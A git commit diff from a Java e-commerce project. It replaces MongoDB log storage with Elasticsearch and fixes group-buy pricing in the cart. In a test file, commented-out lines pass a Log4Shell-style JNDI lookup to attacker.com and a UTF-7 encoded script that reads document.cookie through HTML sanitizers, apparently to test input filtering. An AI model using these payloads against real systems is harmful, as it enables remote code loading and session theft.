!78 移除mongo,将系统日志存储在es。修复拼团商品的正常购买价格为拼团价格问题
Merge pull request !78 from OceansDeep/feature/pg
This commit is contained in:
commit
822e332aaa
@ -43,16 +43,6 @@ spring:
|
||||
#关闭jackson 对json做解析
|
||||
fail-on-empty-beans: false
|
||||
|
||||
# mongodb
|
||||
data:
|
||||
mongodb:
|
||||
uri: 127.0.0.1:27017
|
||||
database: lilishop
|
||||
username: root
|
||||
password: lilishop
|
||||
authentication-database: admin
|
||||
# replica-set-name: mongoreplset
|
||||
|
||||
# Redis
|
||||
redis:
|
||||
host: 127.0.0.1
|
||||
@ -189,7 +179,6 @@ logging:
|
||||
cn.lili: debug
|
||||
org.hibernate: debug
|
||||
# org.springframework: debug
|
||||
# org.springframework.data.mongodb.core: debug
|
||||
file:
|
||||
# 指定路径
|
||||
path: lili-logs
|
||||
|
@ -25,16 +25,6 @@ spring:
|
||||
admin:
|
||||
client:
|
||||
url: http://192.168.0.116:8000
|
||||
# mongodb
|
||||
data:
|
||||
mongodb:
|
||||
host: 192.168.0.116
|
||||
port: 27017
|
||||
database: lilishop
|
||||
username: root
|
||||
password: lilishop
|
||||
authentication-database: admin
|
||||
# replica-set-name: mongoreplset
|
||||
cache:
|
||||
type: redis
|
||||
#amqp
|
||||
@ -186,7 +176,6 @@ logging:
|
||||
cn.lili: info
|
||||
# org.hibernate: debug
|
||||
# org.springframework: debug
|
||||
# org.springframework.data.mongodb.core: debug
|
||||
file:
|
||||
# 指定路径
|
||||
path: lili-logs
|
||||
|
@ -29,15 +29,6 @@ spring:
|
||||
admin:
|
||||
client:
|
||||
url: http://127.0.0.1:8000
|
||||
# mongodb
|
||||
data:
|
||||
mongodb:
|
||||
uri: 127.0.0.1:27017
|
||||
database: lilishop
|
||||
username: root
|
||||
password: lilishop
|
||||
authentication-database: admin
|
||||
# replica-set-name: mongoreplset
|
||||
cache:
|
||||
type: redis
|
||||
# Redis
|
||||
@ -188,7 +179,6 @@ logging:
|
||||
cn.lili: info
|
||||
# org.hibernate: debug
|
||||
# org.springframework: debug
|
||||
# org.springframework.data.mongodb.core: debug
|
||||
file:
|
||||
# 指定路径
|
||||
path: lili-logs
|
||||
|
@ -32,15 +32,6 @@ spring:
|
||||
admin:
|
||||
client:
|
||||
url: http://127.0.0.1:8000
|
||||
# mongodb
|
||||
data:
|
||||
mongodb:
|
||||
uri: 127.0.0.1:27017
|
||||
database: lilishop
|
||||
username: root
|
||||
password: lilishop
|
||||
authentication-database: admin
|
||||
# replica-set-name: mongoreplset
|
||||
cache:
|
||||
type: redis
|
||||
# Redis
|
||||
@ -191,7 +182,6 @@ logging:
|
||||
cn.lili: info
|
||||
# org.hibernate: debug
|
||||
# org.springframework: debug
|
||||
# org.springframework.data.mongodb.core: debug
|
||||
file:
|
||||
# 指定路径
|
||||
path: lili-logs
|
||||
|
@ -81,11 +81,6 @@
|
||||
<groupId>org.apache.commons</groupId>
|
||||
<artifactId>commons-pool2</artifactId>
|
||||
</dependency>
|
||||
<!--mongodb依赖配置-->
|
||||
<dependency>
|
||||
<groupId>org.springframework.boot</groupId>
|
||||
<artifactId>spring-boot-starter-data-mongodb</artifactId>
|
||||
</dependency>
|
||||
<!-- <!– Websocket –>-->
|
||||
<!-- <dependency>-->
|
||||
<!-- <groupId>org.springframework.boot</groupId>-->
|
||||
|
@ -1,55 +0,0 @@
|
||||
package cn.lili.cache.config.mongo;
|
||||
|
||||
import com.mongodb.MongoClientSettings;
|
||||
import com.mongodb.MongoCredential;
|
||||
import com.mongodb.ServerAddress;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.data.mongodb.config.AbstractMongoClientConfiguration;
|
||||
import org.springframework.data.mongodb.repository.config.EnableMongoRepositories;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author paulG
|
||||
* @since 2020/10/22
|
||||
**/
|
||||
@Configuration
|
||||
@EnableMongoRepositories
|
||||
public class MongoConfig extends AbstractMongoClientConfiguration {
|
||||
|
||||
@Value("${spring.data.mongodb.database}")
|
||||
private String databaseName;
|
||||
|
||||
@Value("${spring.data.mongodb.uri}")
|
||||
private List<String> uri = new ArrayList<>();
|
||||
|
||||
@Value("${spring.data.mongodb.username}")
|
||||
private String username;
|
||||
|
||||
@Value("${spring.data.mongodb.password}")
|
||||
private String password;
|
||||
|
||||
@Value("${spring.data.mongodb.authentication-database}")
|
||||
private String authenticationDatabase;
|
||||
|
||||
@Override
|
||||
protected String getDatabaseName() {
|
||||
return databaseName;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void configureClientSettings(MongoClientSettings.Builder builder) {
|
||||
builder.credential(MongoCredential.createCredential(username, authenticationDatabase, password.toCharArray()))
|
||||
.applyToClusterSettings(settings -> {
|
||||
List<ServerAddress> serverAddresses = new ArrayList<>();
|
||||
for (String s : uri) {
|
||||
String[] node = s.split(":");
|
||||
serverAddresses.add(new ServerAddress(node[0], Integer.parseInt(node[1])));
|
||||
}
|
||||
settings.hosts(serverAddresses);
|
||||
});
|
||||
}
|
||||
|
||||
}
|
@ -1,5 +1,6 @@
|
||||
package cn.lili.common.vo;
|
||||
|
||||
import cn.hutool.core.text.CharSequenceUtil;
|
||||
import cn.lili.common.utils.StringUtils;
|
||||
import io.swagger.annotations.ApiModelProperty;
|
||||
import lombok.Data;
|
||||
@ -31,17 +32,8 @@ public class PageVO implements Serializable {
|
||||
@ApiModelProperty(value = "需要驼峰转换蛇形", notes = "一般不做处理,如果数据库中就是蛇形,则这块需要处理。")
|
||||
private Boolean notConvert;
|
||||
|
||||
public Integer getMongoPageNumber() {
|
||||
int i = pageNumber - 1;
|
||||
if (i < 0) {
|
||||
return pageNumber;
|
||||
} else {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
|
||||
public String getSort() {
|
||||
if (!StringUtils.isEmpty(sort)) {
|
||||
if (CharSequenceUtil.isNotEmpty(sort)) {
|
||||
if (notConvert == null || Boolean.FALSE.equals(notConvert)) {
|
||||
return StringUtils.camel2Underline(sort);
|
||||
} else {
|
||||
|
@ -204,14 +204,11 @@ public class GoodsSkuServiceImpl extends ServiceImpl<GoodsSkuMapper, GoodsSku> i
|
||||
//获取商品库存
|
||||
Integer integer = (Integer) cache.get(GoodsSkuService.getStockCacheKey(id));
|
||||
|
||||
//库存不为空
|
||||
if (integer != null) {
|
||||
//库存与缓存中不一致,
|
||||
if (!goodsSku.getQuantity().equals(integer)) {
|
||||
//写入最新的库存信息
|
||||
goodsSku.setQuantity(integer);
|
||||
cache.put(GoodsSkuService.getCacheKeys(goodsSku.getId()), goodsSku);
|
||||
}
|
||||
//库存不为空,库存与缓存中不一致
|
||||
if (integer != null && !goodsSku.getQuantity().equals(integer)) {
|
||||
//写入最新的库存信息
|
||||
goodsSku.setQuantity(integer);
|
||||
cache.put(GoodsSkuService.getCacheKeys(goodsSku.getId()), goodsSku);
|
||||
}
|
||||
return goodsSku;
|
||||
}
|
||||
@ -263,14 +260,17 @@ public class GoodsSkuServiceImpl extends ServiceImpl<GoodsSkuMapper, GoodsSku> i
|
||||
if (promotionMap != null && !promotionMap.isEmpty()) {
|
||||
promotionMap = promotionMap.entrySet().stream().parallel().filter(i -> {
|
||||
JSONObject jsonObject = JSONUtil.parseObj(i.getValue());
|
||||
// 过滤活动赠送优惠券和无效时间的活动
|
||||
return (jsonObject.get("getType") == null || jsonObject.get("getType").toString().equals(CouponGetEnum.FREE.name())) &&
|
||||
(jsonObject.get("startTime") != null && jsonObject.get("startTime", Date.class).before(new Date()));
|
||||
(jsonObject.get("startTime") != null && jsonObject.get("startTime", Date.class).getTime() <= System.currentTimeMillis()) &&
|
||||
(jsonObject.get("endTime") == null || jsonObject.get("endTime", Date.class).getTime() >= System.currentTimeMillis());
|
||||
}).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue));
|
||||
for (String s : promotionMap.keySet()) {
|
||||
if (!s.contains(PromotionTypeEnum.SECKILL.name()) || !s.contains(PromotionTypeEnum.PINTUAN.name())) {
|
||||
goodsSkuDetail.setPromotionPrice(null);
|
||||
break;
|
||||
}
|
||||
|
||||
boolean containsPromotion = promotionMap.keySet().stream().anyMatch(i ->
|
||||
i.contains(PromotionTypeEnum.SECKILL.name()) || i.contains(PromotionTypeEnum.PINTUAN.name()));
|
||||
if (containsPromotion && goodsIndex.getPromotionPrice() != null) {
|
||||
goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice());
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -118,12 +118,7 @@ public class CartServiceImpl implements CartService {
|
||||
throw new ServiceException(ResultCode.CART_NUM_ERROR);
|
||||
}
|
||||
CartTypeEnum cartTypeEnum = getCartType(cartType);
|
||||
GoodsSku dataSku = checkGoods(skuId);
|
||||
Double validPromotionsGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Arrays.asList(PromotionTypeEnum.SECKILL.name(), PromotionTypeEnum.PINTUAN.name()));
|
||||
if (validPromotionsGoodsPrice != null) {
|
||||
dataSku.setIsPromotion(true);
|
||||
dataSku.setPromotionPrice(validPromotionsGoodsPrice);
|
||||
}
|
||||
GoodsSku dataSku = checkGoods(skuId, cartType);
|
||||
try {
|
||||
//购物车方式购买需要保存之前的选择,其他方式购买,则直接抹除掉之前的记录
|
||||
TradeDTO tradeDTO;
|
||||
@ -372,11 +367,12 @@ public class CartServiceImpl implements CartService {
|
||||
}
|
||||
|
||||
/**
|
||||
* 校验商品有效性,判定失效和库存
|
||||
* 校验商品有效性,判定失效和库存,促销活动价格
|
||||
*
|
||||
* @param skuId 商品skuId
|
||||
* @param cartType 购物车类型
|
||||
*/
|
||||
private GoodsSku checkGoods(String skuId) {
|
||||
private GoodsSku checkGoods(String skuId, String cartType) {
|
||||
GoodsSku dataSku = this.goodsSkuService.getGoodsSkuByIdFromCache(skuId);
|
||||
if (dataSku == null) {
|
||||
throw new ServiceException(ResultCode.GOODS_NOT_EXIST);
|
||||
@ -384,6 +380,16 @@ public class CartServiceImpl implements CartService {
|
||||
if (!GoodsAuthEnum.PASS.name().equals(dataSku.getIsAuth()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) {
|
||||
throw new ServiceException(ResultCode.GOODS_NOT_EXIST);
|
||||
}
|
||||
Double validSeckillGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.SECKILL.name()));
|
||||
if (validSeckillGoodsPrice != null) {
|
||||
dataSku.setIsPromotion(true);
|
||||
dataSku.setPromotionPrice(validSeckillGoodsPrice);
|
||||
}
|
||||
Double validPintuanGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.PINTUAN.name()));
|
||||
if (validPintuanGoodsPrice != null && CartTypeEnum.PINTUAN.name().equals(cartType)) {
|
||||
dataSku.setIsPromotion(true);
|
||||
dataSku.setPromotionPrice(validPintuanGoodsPrice);
|
||||
}
|
||||
return dataSku;
|
||||
}
|
||||
|
||||
|
@ -1,9 +1,18 @@
|
||||
package cn.lili.modules.permission.entity.vo;
|
||||
|
||||
import cn.lili.common.utils.ObjectUtil;
|
||||
import cn.lili.elasticsearch.EsSuffix;
|
||||
import com.fasterxml.jackson.annotation.JsonFormat;
|
||||
import io.swagger.annotations.ApiModelProperty;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import lombok.ToString;
|
||||
import lombok.experimental.Accessors;
|
||||
import org.springframework.data.annotation.Id;
|
||||
import org.springframework.data.elasticsearch.annotations.DateFormat;
|
||||
import org.springframework.data.elasticsearch.annotations.Document;
|
||||
import org.springframework.data.elasticsearch.annotations.Field;
|
||||
import org.springframework.data.elasticsearch.annotations.FieldType;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.util.Date;
|
||||
@ -17,53 +26,70 @@ import java.util.Map;
|
||||
* @since 2020/12/2 17:50
|
||||
*/
|
||||
@Data
|
||||
@Document(indexName = "#{@elasticsearchProperties.indexPrefix}_" + EsSuffix.LOGS_INDEX_NAME)
|
||||
@ToString
|
||||
@NoArgsConstructor
|
||||
@Accessors(chain = true)
|
||||
public class SystemLogVO implements Serializable {
|
||||
|
||||
|
||||
private static final long serialVersionUID = -8995552592401630086L;
|
||||
|
||||
|
||||
@Id
|
||||
@ApiModelProperty(value = "id")
|
||||
private String id;
|
||||
|
||||
|
||||
@JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss")
|
||||
@ApiModelProperty(value = "日志记录时间")
|
||||
@JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss")
|
||||
@Field(type = FieldType.Date, format = DateFormat.basic_date_time)
|
||||
private Date createTime = new Date();
|
||||
|
||||
@ApiModelProperty(value = "请求用户")
|
||||
@Field(type = FieldType.Text)
|
||||
private String username;
|
||||
|
||||
@ApiModelProperty(value = "请求路径")
|
||||
@Field(type = FieldType.Text)
|
||||
private String requestUrl;
|
||||
|
||||
@ApiModelProperty(value = "请求参数")
|
||||
@Field(type = FieldType.Text)
|
||||
private String requestParam;
|
||||
|
||||
@ApiModelProperty(value = "响应参数")
|
||||
@Field(type = FieldType.Text)
|
||||
private String responseBody;
|
||||
|
||||
@ApiModelProperty(value = "ip")
|
||||
@Field(type = FieldType.Keyword)
|
||||
private String ip;
|
||||
|
||||
@ApiModelProperty(value = "方法操作名称")
|
||||
@Field(type = FieldType.Keyword)
|
||||
private String name;
|
||||
|
||||
|
||||
@ApiModelProperty(value = "请求类型")
|
||||
@Field(type = FieldType.Keyword)
|
||||
private String requestType;
|
||||
|
||||
|
||||
@ApiModelProperty(value = "自定义日志内容")
|
||||
@Field(type = FieldType.Text)
|
||||
private String customerLog;
|
||||
|
||||
|
||||
@ApiModelProperty(value = "ip信息")
|
||||
@Field(type = FieldType.Text)
|
||||
private String ipInfo;
|
||||
|
||||
@ApiModelProperty(value = "花费时间")
|
||||
@Field(type = FieldType.Integer)
|
||||
private Integer costTime;
|
||||
|
||||
@ApiModelProperty(value = "商家")
|
||||
@Field(type = FieldType.Long)
|
||||
private Long storeId = -1L;
|
||||
|
||||
/**
|
||||
|
@ -0,0 +1,14 @@
|
||||
package cn.lili.modules.permission.repository;
|
||||
|
||||
import cn.lili.modules.permission.entity.vo.SystemLogVO;
|
||||
import org.springframework.data.elasticsearch.repository.ElasticsearchRepository;
|
||||
|
||||
/**
|
||||
* 日志
|
||||
*
|
||||
* @author paulG
|
||||
* @since 2021/12/13
|
||||
**/
|
||||
public interface SystemLogRepository extends ElasticsearchRepository<SystemLogVO, String> {
|
||||
|
||||
}
|
@ -1,23 +1,30 @@
|
||||
package cn.lili.modules.permission.serviceimpl;
|
||||
|
||||
import cn.lili.common.utils.StringUtils;
|
||||
import cn.hutool.core.text.CharSequenceUtil;
|
||||
import cn.lili.common.vo.PageVO;
|
||||
import cn.lili.common.vo.SearchVO;
|
||||
import cn.lili.modules.permission.entity.vo.SystemLogVO;
|
||||
import cn.lili.modules.permission.repository.SystemLogRepository;
|
||||
import cn.lili.modules.permission.service.SystemLogService;
|
||||
import com.baomidou.mybatisplus.core.metadata.IPage;
|
||||
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
|
||||
import org.elasticsearch.index.query.BoolQueryBuilder;
|
||||
import org.elasticsearch.index.query.QueryBuilders;
|
||||
import org.elasticsearch.search.sort.SortBuilders;
|
||||
import org.elasticsearch.search.sort.SortOrder;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Qualifier;
|
||||
import org.springframework.data.domain.PageRequest;
|
||||
import org.springframework.data.domain.Sort;
|
||||
import org.springframework.data.mongodb.core.MongoTemplate;
|
||||
import org.springframework.data.mongodb.core.query.Criteria;
|
||||
import org.springframework.data.mongodb.core.query.Query;
|
||||
import org.springframework.data.domain.Pageable;
|
||||
import org.springframework.data.elasticsearch.core.ElasticsearchRestTemplate;
|
||||
import org.springframework.data.elasticsearch.core.SearchHit;
|
||||
import org.springframework.data.elasticsearch.core.SearchHits;
|
||||
import org.springframework.data.elasticsearch.core.query.NativeSearchQueryBuilder;
|
||||
import org.springframework.stereotype.Service;
|
||||
import org.springframework.transaction.annotation.Transactional;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.regex.Pattern;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* 系统日志
|
||||
@ -30,64 +37,91 @@ import java.util.regex.Pattern;
|
||||
public class SystemLogServiceImpl implements SystemLogService {
|
||||
|
||||
@Autowired
|
||||
private MongoTemplate mongoTemplate;
|
||||
private SystemLogRepository systemLogRepository;
|
||||
|
||||
/**
|
||||
* ES
|
||||
*/
|
||||
@Autowired
|
||||
@Qualifier("elasticsearchRestTemplate")
|
||||
private ElasticsearchRestTemplate restTemplate;
|
||||
|
||||
@Override
|
||||
public void saveLog(SystemLogVO systemLogVO) {
|
||||
mongoTemplate.save(systemLogVO);
|
||||
systemLogRepository.save(systemLogVO);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void deleteLog(List<String> id) {
|
||||
mongoTemplate.remove(new Query().addCriteria(Criteria.where("id").is(id)), SystemLogVO.class);
|
||||
for (String s : id) {
|
||||
systemLogRepository.deleteById(s);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void flushAll() {
|
||||
mongoTemplate.dropCollection(SystemLogVO.class);
|
||||
systemLogRepository.deleteAll();
|
||||
}
|
||||
|
||||
@Override
|
||||
public IPage<SystemLogVO> queryLog(String storeId, String operatorName, String key, SearchVO searchVo, PageVO pageVO) {
|
||||
Query query = new Query();
|
||||
|
||||
if (StringUtils.isNotEmpty(storeId)) {
|
||||
query.addCriteria(Criteria.where("storeId").is(storeId));
|
||||
IPage<SystemLogVO> iPage = new Page<>();
|
||||
NativeSearchQueryBuilder nativeSearchQueryBuilder = new NativeSearchQueryBuilder();
|
||||
if (pageVO != null) {
|
||||
int pageNumber = pageVO.getPageNumber() - 1;
|
||||
if (pageNumber < 0) {
|
||||
pageNumber = 0;
|
||||
}
|
||||
Pageable pageable = PageRequest.of(pageNumber, pageVO.getPageSize());
|
||||
//分页
|
||||
nativeSearchQueryBuilder.withPageable(pageable);
|
||||
iPage.setCurrent(pageVO.getPageNumber());
|
||||
iPage.setSize(pageVO.getPageSize());
|
||||
}
|
||||
|
||||
if (StringUtils.isNotEmpty(operatorName)) {
|
||||
query.addCriteria(Criteria.where("username").regex(Pattern.compile("^.*" + operatorName + ".*$", Pattern.CASE_INSENSITIVE)));
|
||||
if (CharSequenceUtil.isNotEmpty(storeId)) {
|
||||
nativeSearchQueryBuilder.withFilter(QueryBuilders.matchQuery("storeId", storeId));
|
||||
}
|
||||
|
||||
if (StringUtils.isNotEmpty(key)) {
|
||||
query.addCriteria(new Criteria().orOperator(
|
||||
Criteria.where("requestUrl").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE)),
|
||||
Criteria.where("requestParam").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE)),
|
||||
Criteria.where("responseBody").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE)),
|
||||
Criteria.where("name").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE))
|
||||
));
|
||||
if (CharSequenceUtil.isNotEmpty(operatorName)) {
|
||||
nativeSearchQueryBuilder.withFilter(QueryBuilders.wildcardQuery("username", "*" + operatorName + "*"));
|
||||
}
|
||||
|
||||
if (CharSequenceUtil.isNotEmpty(key)) {
|
||||
BoolQueryBuilder filterBuilder = new BoolQueryBuilder();
|
||||
filterBuilder.should(QueryBuilders.wildcardQuery("requestUrl", "*" + key + "*"))
|
||||
.should(QueryBuilders.wildcardQuery("requestParam", "*" + key + "*"))
|
||||
.should(QueryBuilders.wildcardQuery("responseBody", "*" + key + "*"))
|
||||
.should(QueryBuilders.wildcardQuery("name", "*" + key + "*"));
|
||||
nativeSearchQueryBuilder.withFilter(filterBuilder);
|
||||
}
|
||||
//时间有效性判定
|
||||
if (searchVo.getConvertStartDate() != null && searchVo.getConvertEndDate() != null) {
|
||||
BoolQueryBuilder filterBuilder = new BoolQueryBuilder();
|
||||
//大于方法
|
||||
Criteria gt = Criteria.where("createTime").gte(searchVo.getConvertStartDate());
|
||||
filterBuilder.must(
|
||||
QueryBuilders.rangeQuery("createTime")
|
||||
.gte(searchVo.getConvertStartDate().getTime()));
|
||||
//小于方法
|
||||
Criteria lt = Criteria.where("createTime").lte(searchVo.getConvertEndDate());
|
||||
query.addCriteria(new Criteria().andOperator(gt, lt));
|
||||
filterBuilder.must(
|
||||
QueryBuilders.rangeQuery("createTime")
|
||||
.lt(searchVo.getConvertEndDate().getTime()));
|
||||
|
||||
nativeSearchQueryBuilder.withFilter(filterBuilder);
|
||||
}
|
||||
|
||||
IPage<SystemLogVO> iPage = new Page<>();
|
||||
SearchHits<SystemLogVO> searchResult = restTemplate.search(nativeSearchQueryBuilder.build(), SystemLogVO.class);
|
||||
|
||||
iPage.setTotal(mongoTemplate.count(query, SystemLogVO.class));
|
||||
query.with(PageRequest.of(pageVO.getMongoPageNumber(), pageVO.getPageSize()));
|
||||
iPage.setTotal(searchResult.getTotalHits());
|
||||
|
||||
query.with(Sort.by(Sort.Direction.DESC, "createTime"));
|
||||
if (pageVO != null && CharSequenceUtil.isNotEmpty(pageVO.getOrder()) && CharSequenceUtil.isNotEmpty(pageVO.getSort())) {
|
||||
nativeSearchQueryBuilder.withSort(SortBuilders.fieldSort(pageVO.getSort()).order(SortOrder.valueOf(pageVO.getOrder().toUpperCase())));
|
||||
} else {
|
||||
nativeSearchQueryBuilder.withSort(SortBuilders.fieldSort("createTime").order(SortOrder.DESC));
|
||||
}
|
||||
|
||||
List<SystemLogVO> systemLogVOS = mongoTemplate.find(query, SystemLogVO.class);
|
||||
iPage.setCurrent(pageVO.getPageNumber());
|
||||
iPage.setSize(pageVO.getPageSize());
|
||||
iPage.setRecords(systemLogVOS);
|
||||
|
||||
iPage.setRecords(searchResult.getSearchHits().stream().map(SearchHit::getContent).collect(Collectors.toList()));
|
||||
return iPage;
|
||||
}
|
||||
|
||||
|
@ -25,7 +25,7 @@ public interface PintuanService extends AbstractPromotionsService<Pintuan> {
|
||||
List<PintuanMemberVO> getPintuanMember(String pintuanId);
|
||||
|
||||
/**
|
||||
* 从mongo中查询拼团活动详情
|
||||
* 查询拼团活动详情
|
||||
*
|
||||
* @param id 拼团ID
|
||||
* @return 拼团活动详情
|
||||
|
@ -20,7 +20,7 @@ public interface SeckillService extends AbstractPromotionsService<Seckill> {
|
||||
Integer PRE_CREATION = 7;
|
||||
|
||||
/**
|
||||
* 从mongo中获取秒杀活动信息
|
||||
* 获取秒杀活动信息
|
||||
*
|
||||
* @param id 秒杀活动id
|
||||
* @return 秒杀活动信息
|
||||
|
@ -89,7 +89,7 @@ public class CouponServiceImpl extends AbstractPromotionsServiceImpl<CouponMappe
|
||||
|
||||
@Override
|
||||
public boolean removePromotions(List<String> ids) {
|
||||
//删除mongo优惠券信息
|
||||
//删除优惠券信息
|
||||
this.memberCouponService.closeMemberCoupon(ids);
|
||||
|
||||
//删除优惠券活动关联优惠券
|
||||
|
@ -102,7 +102,7 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl<PintuanMap
|
||||
}
|
||||
|
||||
/**
|
||||
* 从mongo中查询拼团活动详情
|
||||
* 查询拼团活动详情
|
||||
*
|
||||
* @param id 拼团ID
|
||||
* @return 拼团活动详情
|
||||
|
@ -2,18 +2,13 @@ package cn.lili.modules.promotion.tools;
|
||||
|
||||
import cn.hutool.core.date.DateTime;
|
||||
import cn.hutool.core.date.DateUtil;
|
||||
import cn.hutool.core.text.CharSequenceUtil;
|
||||
import cn.lili.common.enums.PromotionTypeEnum;
|
||||
import cn.lili.common.enums.ResultCode;
|
||||
import cn.lili.common.exception.ServiceException;
|
||||
import cn.lili.common.vo.PageVO;
|
||||
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
|
||||
import cn.lili.modules.promotion.entity.dto.BasePromotions;
|
||||
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
|
||||
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
|
||||
import org.springframework.data.domain.PageRequest;
|
||||
import org.springframework.data.domain.Sort;
|
||||
import org.springframework.data.mongodb.core.query.Query;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Date;
|
||||
@ -161,19 +156,6 @@ public class PromotionTools {
|
||||
return originList;
|
||||
}
|
||||
|
||||
/**
|
||||
* 为mongoQuery组织分页排序参数
|
||||
*
|
||||
* @param query 查询条件
|
||||
* @param page 分页排序参数
|
||||
*/
|
||||
public static void mongoQueryPageParam(Query query, PageVO page) {
|
||||
page.setNotConvert(true);
|
||||
query.with(PageRequest.of(page.getMongoPageNumber(), page.getPageSize()));
|
||||
if (!CharSequenceUtil.isEmpty(page.getOrder()) && !CharSequenceUtil.isEmpty(page.getSort())) {
|
||||
query.with(Sort.by(Sort.Direction.valueOf(page.getOrder().toUpperCase()), page.getSort()));
|
||||
}
|
||||
}
|
||||
|
||||
public static int nextHour(String[] totalHours, Integer timeline) {
|
||||
int nextHour = 23;
|
||||
|
@ -46,8 +46,8 @@ public class PintuanManagerController {
|
||||
@GetMapping
|
||||
@ApiOperation(value = "根据条件分页查询拼团活动列表")
|
||||
public ResultMessage<IPage<Pintuan>> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) {
|
||||
IPage<Pintuan> pintuanByPageFromMongo = pintuanService.pageFindAll(queryParam, pageVo);
|
||||
return ResultUtil.data(pintuanByPageFromMongo);
|
||||
IPage<Pintuan> pintuanIPage = pintuanService.pageFindAll(queryParam, pageVo);
|
||||
return ResultUtil.data(pintuanIPage);
|
||||
}
|
||||
|
||||
@GetMapping("/goods/{pintuanId}")
|
||||
|
@ -29,15 +29,6 @@ spring:
|
||||
admin:
|
||||
client:
|
||||
url: http://127.0.0.1:8000
|
||||
# mongodb
|
||||
data:
|
||||
mongodb:
|
||||
uri: 127.0.0.1:27017
|
||||
database: lilishop
|
||||
username: root
|
||||
password: lilishop
|
||||
authentication-database: admin
|
||||
# replica-set-name: mongoreplset
|
||||
cache:
|
||||
type: redis
|
||||
# Redis
|
||||
@ -174,7 +165,6 @@ logging:
|
||||
cn.lili: info
|
||||
# org.hibernate: debug
|
||||
# org.springframework: debug
|
||||
# org.springframework.data.mongodb.core: debug
|
||||
file:
|
||||
# 指定路径
|
||||
path: lili-logs
|
||||
|
@ -1,6 +1,5 @@
|
||||
package cn.lili.test.elasticsearch;
|
||||
|
||||
import cn.hutool.http.HtmlUtil;
|
||||
import cn.hutool.json.JSONUtil;
|
||||
import cn.lili.cache.Cache;
|
||||
import cn.lili.common.vo.PageVO;
|
||||
@ -20,13 +19,13 @@ import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.html.Sanitizers;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.data.elasticsearch.core.SearchPage;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Date;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@ -64,13 +63,14 @@ class EsTest {
|
||||
// System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
|
||||
// System.out.println(HtmlUtil.unescape(safeHTML));
|
||||
// System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
|
||||
// Date dt1 = new Date(2017, 3, 31);
|
||||
// Date dt2 = new Date(2017, 5, 14)Z
|
||||
// System.out.println(dt2.after(dt1));
|
||||
String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}");
|
||||
String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}");
|
||||
System.out.println(filter);
|
||||
System.out.println(sanitize);
|
||||
Date dt1 = new Date(2021, 12, 10);
|
||||
Date dt2 = new Date(2021, 12, 14);
|
||||
|
||||
System.out.println(new Date().before(dt2));
|
||||
// String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}");
|
||||
// String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}");
|
||||
// System.out.println(filter);
|
||||
// System.out.println(sanitize);
|
||||
|
||||
}
|
||||
|
||||
|
@ -1,10 +1,8 @@
|
||||
package cn.lili.test.promotion;
|
||||
|
||||
import cn.lili.common.enums.PromotionTypeEnum;
|
||||
import cn.lili.common.properties.RocketmqCustomProperties;
|
||||
import cn.lili.common.vo.PageVO;
|
||||
import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
|
||||
import cn.lili.modules.goods.service.GoodsSkuService;
|
||||
import cn.lili.modules.promotion.entity.dos.Coupon;
|
||||
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
|
||||
import cn.lili.modules.promotion.entity.enums.CouponGetEnum;
|
||||
@ -14,7 +12,6 @@ import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
|
||||
import cn.lili.modules.promotion.entity.vos.CouponVO;
|
||||
import cn.lili.modules.promotion.service.CouponService;
|
||||
